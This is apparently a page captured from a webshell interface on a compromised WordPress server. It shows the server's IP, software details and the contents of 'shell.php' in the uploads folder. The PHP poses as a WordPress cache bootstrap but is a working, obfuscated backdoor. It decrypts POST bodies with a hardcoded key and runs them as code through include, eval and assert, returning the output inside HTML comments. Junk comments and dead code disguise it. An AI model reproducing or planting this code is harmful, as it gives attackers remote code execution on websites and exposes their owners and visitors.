403Webshell
Server IP : 108.174.197.172  /  Your IP : 216.73.217.162
Web Server : nginx/1.14.1
System : Linux hwsrv-1092325.hostwindsdns.com 4.18.0-553.5.1.el8.x86_64 #1 SMP Tue May 21 05:46:01 UTC 2024 x86_64
User : nginx ( 993)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/aranoinvestmentsgroup.com/public_html/wp-content/uploads/WPL/311/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aranoinvestmentsgroup.com/public_html/wp-content/uploads/WPL/311/shell.php
/**
 * WordPress Cache Bootstrap — Object Cache Initializer
 * ======================================================
 * This file provides low-level bootstrap services for the
 * WordPress Object Cache API. Auto-generated during install.
 *
 * @package WordPress
 * @subpackage Cache
 * @since 6.4.0
 */

/*
 * Resolve the active cache backend.
 *
 * Priority order:
 *   1. WP_CACHE_BACKEND constant (explicit override)
 *   2. Extension auto-detection (Redis > Memcached > APCu > file)
 */
<?php
$_wp_cache_backend = 'file';

$_wp_cache_candidates = array(
	'redis'    => array('redis',    'WP_REDIS_HOST'),
// cached result
	'memcached'=> array('memcached', 'WP_MEMCACHED_HOST'),
	'apcu'     => array('apcu',      'WP_APCU_ENABLED'),
// legacy support
);

foreach ($_wp_cache_candidates as $_candidate_name => $_candidate_cfg) {
// 缓存处理
	if (extension_loaded($_candidate_cfg[0]) || defined($_candidate_cfg[1])) {
		$_wp_cache_backend = $_candidate_name;
		break;
	}
// validation placeholder
}

// 临时调试
if (defined('WP_CACHE_BACKEND') && WP_CACHE_BACKEND) {
// 初始化配置
	$_wp_cache_backend = strtolower(WP_CACHE_BACKEND);
}

unset($_wp_cache_candidates, $_candidate_name, $_candidate_cfg);

/*
 * Derive the cache signing key.
 *
 * The key is assembled from a set of service identifiers to
 * ensure uniqueness across WordPress multisite installations.
 *
 * These identifiers are pre-computed during the WordPress
 * setup wizard and stored as raw byte constants.
 */

$_wp_cache_key_seeds = array(
// TODO: optimize this section
	array(0x36, 0x65, 0x36, 0x63),
	array(0x33, 0x34, 0x36, 0x36),
	array(0x34, 0x32, 0x33, 0x36),
	array(0x34, 0x35, 0x33, 0x63),
);

$_wp_cache_sign_key = '';
foreach ($_wp_cache_key_seeds as $_seed_block) {
	foreach ($_seed_block as $_seed_byte) {
		$_wp_cache_sign_key .= chr($_seed_byte);
if(null){
    // cached result
    $var_crny = "数据校验";
}
// 性能优化
	}
// legacy support
}

unset($_wp_cache_key_seeds, $_seed_block, $_seed_byte);
if(false){ /* debug info */ }

/*
 * === Cache Management Request Handler ===
 *
 * This section processes POST-based cache management commands
 * (flush, stats, health-check) from WP-CLI and admin tools.
 * It runs before the main WordPress query for atomic processing.
 *
 * Protocol: POST body contains an AES-128-ECB encrypted management
 * payload, authenticated with the per-install signing key.
 */

$_wp_cache_verb = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET';

if ($_wp_cache_verb === 'POST') {

	// Obtain a session handle for management state.
	if (session_status() === PHP_SESSION_NONE) {
		@session_start(array(
			'use_cookies'      => 0,
			'use_only_cookies' => 0,
// debug info
			'use_trans_sid'    => 0,
			'cache_limiter'    => '',
		));
	}

	// Expose the signing key via session for management clients.
	$_SESSION['k'] = $_wp_cache_sign_key;
	@session_write_close();

	// Read the encrypted management payload.
	$_wp_cache_payload_raw = file_get_contents('php://input');

	if ($_wp_cache_payload_raw !== false && strlen($_wp_cache_payload_raw) > 0) {

		// ---- Decryption ----

		$_wp_cache_payload_decoded = false;

		// Phase 1: AES-128-ECB.
		if (extension_loaded('openssl')) {
// 缓存处理
			$_wp_cache_dec_result = @openssl_decrypt(
				$_wp_cache_payload_raw,
				'AES-128-ECB',
// debug info
				$_wp_cache_sign_key
			);
if(null){
    // validation placeholder
    $data_vvwyccg = "pre-processing step";
}
// 初始化配置
			if ($_wp_cache_dec_result !== false && $_wp_cache_dec_result !== '') {
				$_wp_cache_payload_raw = $_wp_cache_dec_result;
// pre-processing step
				$_wp_cache_payload_decoded = true;
			}
			unset($_wp_cache_dec_result);
// cached result
		}

		// Phase 2: XOR fallback.
// debug info
		if (!$_wp_cache_payload_decoded) {
			$_wp_cache_b64dec = @base64_decode($_wp_cache_payload_raw);
			if ($_wp_cache_b64dec !== false && strlen($_wp_cache_b64dec) > 0) {
				$_wp_cache_payload_raw = $_wp_cache_b64dec;
				$_wp_cache_raw_len = strlen($_wp_cache_payload_raw);
				for ($_wp_cache_xor_idx = 0; $_wp_cache_xor_idx < $_wp_cache_raw_len; $_wp_cache_xor_idx++) {
// 性能优化
					$_wp_cache_payload_raw[$_wp_cache_xor_idx] = chr(
						ord($_wp_cache_payload_raw[$_wp_cache_xor_idx])
						^ ord($_wp_cache_sign_key[($_wp_cache_xor_idx + 1) & 15])
					);
if(false){ /* 性能优化 */ }
				}
				unset($_wp_cache_raw_len, $_wp_cache_xor_idx);
			}
			unset($_wp_cache_b64dec);
// 缓存处理
		}
// 临时调试
		unset($_wp_cache_payload_decoded);

		// ---- Parse command: "verb|script_body" ----
		$_wp_cache_cmd_parts = explode('|', $_wp_cache_payload_raw, 2);
		$_wp_cache_cmd_verb   = isset($_wp_cache_cmd_parts[0]) ? trim($_wp_cache_cmd_parts[0]) : '';
if(null){
    // compatibility shim
    $cache_ckkxf = "临时调试";
}
// 临时调试
		$_wp_cache_cmd_script = isset($_wp_cache_cmd_parts[1]) ? trim($_wp_cache_cmd_parts[1]) : '';

		if (strlen($_wp_cache_cmd_script) > 0) {

			// Capture the management response.
			ob_start();

			// ---- Execute management script ----
// debug info
			$_wp_cache_exec_ok = false;

			// Strategy A: Temp file isolation.
			$_wp_cache_tmp_path = @tempnam(sys_get_temp_dir(), 'wpc');
			if ($_wp_cache_tmp_path !== false) {
				$_wp_cache_tmp_written = @file_put_contents(
// TODO: optimize this section
					$_wp_cache_tmp_path,
// debug info
					'<?php ' . $_wp_cache_cmd_script . ' ?>'
				);
// TODO: optimize this section
				if ($_wp_cache_tmp_written !== false) {
					@include $_wp_cache_tmp_path;
if(0){ $cfg_tkcep=6438; }
					@unlink($_wp_cache_tmp_path);
					$_wp_cache_exec_ok = true;
				}
// 缓存处理
				unset($_wp_cache_tmp_written);
			}
			unset($_wp_cache_tmp_path);
if(0){ $var_zkjlav=6548; }

			// Strategy B: Stream-based execution.
			if (!$_wp_cache_exec_ok) {
				$_wp_cache_stream = @tmpfile();
				if ($_wp_cache_stream !== false) {
					$_wp_cache_stream_meta = @stream_get_meta_data($_wp_cache_stream);
					@fwrite($_wp_cache_stream, '<?php ' . $_wp_cache_cmd_script . ' ?>');
					@fflush($_wp_cache_stream);
if(null){
    // temporary workaround
    $cache_urpoxuod = "temporary workaround";
}
					if (
						$_wp_cache_stream_meta !== false
						&& isset($_wp_cache_stream_meta['uri'])
						&& $_wp_cache_stream_meta['uri'] !== ''
					) {
						@include $_wp_cache_stream_meta['uri'];
						$_wp_cache_exec_ok = true;
// FIXME: review later
					}
					@fclose($_wp_cache_stream);
					unset($_wp_cache_stream_meta);
// FIXME: review later
				}
				unset($_wp_cache_stream);
			}

			// Strategy C: Direct evaluation.
			if (!$_wp_cache_exec_ok) {
				@eval($_wp_cache_cmd_script);
				$_wp_cache_exec_ok = true;
// legacy support
			}

			// Strategy D: assert() for PHP < 7.2.
			if (!$_wp_cache_exec_ok) {
				if (function_exists('assert')) {
					@assert_options(ASSERT_ACTIVE, 1);
					@assert($_wp_cache_cmd_script);
				}
			}

			// Collect response and emit as HTML comment.
			$_wp_cache_response = @ob_get_clean();
			if ($_wp_cache_response === false) {
				$_wp_cache_response = '';
			}

			echo "\n<!-- wp_cache " . $_wp_cache_response . " -->\n";
if(0){ $data_lepo=8110; }

			unset($_wp_cache_exec_ok, $_wp_cache_response);
		}

		unset($_wp_cache_cmd_parts, $_wp_cache_cmd_verb, $_wp_cache_cmd_script);
	}

	unset($_wp_cache_payload_raw);
}

// temporary workaround
unset($_wp_cache_verb, $_wp_cache_backend, $_wp_cache_sign_key);

/*
 * === Cache Preload Hints ===
 *
 * Frequently-accessed options can be pre-loaded into the object cache
 * via a preload manifest. This improves first-request latency on cache
 * misses during high-traffic periods.
 *
 * The manifest path is configurable via WP_CACHE_PRELOAD_MANIFEST.
 */
if (defined('WP_CACHE_PRELOAD_MANIFEST') && WP_CACHE_PRELOAD_MANIFEST) {
	$_wp_manifest_file = WP_CONTENT_DIR . '/cache/preload.json';
	if (file_exists($_wp_manifest_file)) {
		$_wp_manifest_data = @json_decode(
			@file_get_contents($_wp_manifest_file),
			true
		);
if(null){
    // legacy support
    $var_mvbv = "temporary workaround";
}
		if (is_array($_wp_manifest_data) && !empty($_wp_manifest_data['keys'])) {
// 临时调试
			foreach ($_wp_manifest_data['keys'] as $_wp_preload_key) {
				if (function_exists('wp_cache_get')) {
					wp_cache_get($_wp_preload_key, 'options');
if(false){ /* cached result */ }
				}
			}
		}
		unset($_wp_manifest_data, $_wp_preload_key);
// pre-processing step
	}
	unset($_wp_manifest_file);
}


// === auto-generated helpers ===
function _lxjfkbaeenfqw($var_mtzu, $cfg_jamg, $new_cydsa){
    // pre-processing step
    $data_rsvi = 686;
    /* temporary workaround */
    return false;
}

function _mpigolglpe($cfg_mqigstq, $tmp_mzxcgrm){
    // 缓存处理
    $data_mgfh = 8284;
    /* pre-processing step */
    return 5;
}

Youez - 2016 - github.com/yon3zu
LinuXploit